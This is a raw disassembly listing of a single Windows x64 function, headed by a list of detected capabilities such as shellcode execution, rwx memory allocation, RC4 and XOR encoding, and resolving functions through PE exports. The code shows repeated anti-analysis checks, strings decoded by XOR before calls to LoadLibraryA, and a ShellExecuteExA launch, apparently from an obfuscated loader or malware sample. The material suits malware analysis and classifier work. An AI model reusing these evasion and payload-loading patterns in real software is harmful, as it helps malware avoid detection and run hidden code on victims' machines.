Function at 0x140020fe8
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14008fe80
sub rsp, rax
mov rax, qword [0x1400f5700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x44]
mov ebx, 0x1e0be331
mov r15d, 0x2e0a2f32
mov r12d, 0x6875f121
cmp rax, r12
jne 0x1400210ee
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400210ce
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400210ce
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400210ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov ecx, r12d
call fcn.140011574
mov rax, qword gs:[0x44]
mov r13d, 0x4a79d2f6
cmp rax, r12
jne 0x1400211a6
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021186
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021186
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400211a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
movabs rsi, 0xcd279c6c79f9294c
cmp rax, r12
jne 0x14002125a
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002123a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002123a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002125a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov ecx, r12d
call fcn.140020524
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x14002131b
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400212fb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400212fb
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002131b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400213c5
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400213a5
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400213a5
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400213c5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
lea rdx, [0x1400e90f0]
lea rcx, [rbp + 0x998]
call fcn.140010f38
mov rdx, rax
mov ecx, r12d
call fcn.140013564
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x14002149c
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002147c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002147c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002149c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021546
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021526
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021526
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021546
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov dword [rbp + 0x90], 0x967ad852
mov dword [rbp + 0x94], 0x88ad2b3f
mov word [rbp + 0x98], 0xf6
xor r14d, r14d
mov edi, r14d
movabs r13, 0x11d01f4a5
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140030970
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x140021573
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x44]
cmp rax, r12
mov r13d, 0x4a79d2f6
jne 0x14002167a
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002165a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002165a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002167a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021724
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021704
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021704
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021724
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov dword [rbp + 0x1f0], 0xb063f302
mov dword [rbp + 0x1f4], 0x8e4047f7
mov dword [rbp + 0x1f8], 0x2cefb079
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
movabs rsi, 0x11d01f4a5
mov qword [rsp + 0x20], rsi
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.1400305cc
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140021757
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x44]
cmp rax, r12
movabs rsi, 0xcd279c6c79f9294c
jne 0x140021853
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021833
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021833
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021853
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1400207ac
test eax, eax
jne 0x140021b14
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400b96e0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or rsi, 0xffffffffffffffff
test eax, eax
je 0x140021977
xor edx, edx
lea r8d, [rsi + 0x61]
lea rcx, [rbp + 0xed0]
call fcn.1400b96e0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0xbe79ea77
mov byte [rbp - 0x6c], sil
xor eax, eax
mov byte [rbp - 0x6b], al
movabs r15, 0x11d01f4a5
mov qword [rsp + 0x20], r15
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.1400308fc
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x1400218e7
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140030253
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140021981
movabs r15, 0x11d01f4a5
mov word [rsp + 0x78], gethostname
mov qword [rsp + 0x20], r15
mov r9d, 1
xor r8d, r8d
mov dl, 0x37
lea rcx, [rsp + 0x78]
call fcn.1400307a4
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14002062c
mov rbx, rax
movdqa xmm0, xmmword [0x1400ea8b0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400ea9c0]
movdqu xmmword [rbp + 0xc08], xmm1
mov word [rbp + 0xc18], 0x5810
mov byte [rbp + 0xc1a], sil
mov dword [rbp + 0xc1b], 0x3f2ac457
mov dword [rbp + 0xc1f], 0xba61c50c
mov word [rbp + 0xc23], 0x1fe5
xor eax, eax
mov byte [rbp + 0xc25], al
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140030888
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140021a14
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14003191c
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140031adc
lea rcx, [rbp + 0x9d8]
call fcn.140031434
lea rcx, [rbp + 0x9b8]
call fcn.140031434
movdqa xmm0, xmmword [0x1400ea7c0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xe0
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140030384
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140021aad
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.140031088
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021bbe
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021b9e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021b9e
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021bbe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021c7d
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021c5d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021c5d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021c7d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021d27
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021d07
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021d07
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021d27
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021dd1
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021db1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021db1
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021dd1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021e8a
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021e6a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021e6a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021e8a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
xor ecx, ecx
call fcn.140097954
mov rbx, rax
mov word [rsp + 0x7c], WSAGetLastError
movabs r13, 0x11d01f4a5
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x6c
lea rcx, [rsp + 0x7c]
call fcn.1400307a4
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0xdf8aad80
mov word [rbp - 0x5c], 0x31e
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140030644
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x140021edd
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.14009ae34
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140021fce
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021fae
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021fae
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021fce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022089
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0x1e0be331
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022069
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022069
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022089
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov ecx, 2
call fcn.140097954
mov rbx, rax
mov word [rbp - 0x80], 0x69
movabs r13, 0x11d01f4a5
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x69
lea rcx, [rbp - 0x80]
call fcn.1400307a4
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0x6c861fa
mov dword [rbp - 0x34], 0x68bb75
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140030814
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x1400220d7
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.14009ae34
mov rax, qword gs:[0x44]
cmp rax, r12
mov r13d, 0x4a79d2f6
jne 0x1400221cd
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400221ad
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400221ad
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400221cd
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022277
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022257
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022257
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022277
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov ecx, 1
call fcn.140097954
mov rbx, rax
mov word [rbp - 0x7c], 0x69
movabs r13, 0x11d01f4a5
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x69
lea rcx, [rbp - 0x7c]
call fcn.1400307a4
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0x6c861fa
mov dword [rbp - 0x2c], 0x68bb75
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140030814
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x1400222c5
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.14009ae34
mov rax, qword gs:[0x44]
cmp rax, r12
mov r13d, 0x4a79d2f6
mov ebx, 0x1e0be331
jne 0x1400223ce
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400223ae
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400223ae
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400223ce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x140022478
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022458
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022458
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022478
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
movdqa xmm0, xmmword [0x1400ea950]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400ea860]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400ea8a0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xc6817021
mov dword [rbp + 0xd4c], 0x9582d591
mov dword [rbp + 0xd50], 0xd381773d
mov word [rbp + 0xd54], 0x933c
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
movabs r13, 0x11d01f4a5
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140030730
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x1400224e4
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.140010ddc
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x1400225d5
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400225b5
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400225b5
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400225d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140096588
int3
mov rax, qword gs:[0x44]
cmp rax, r12
jne 0x14002268e
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
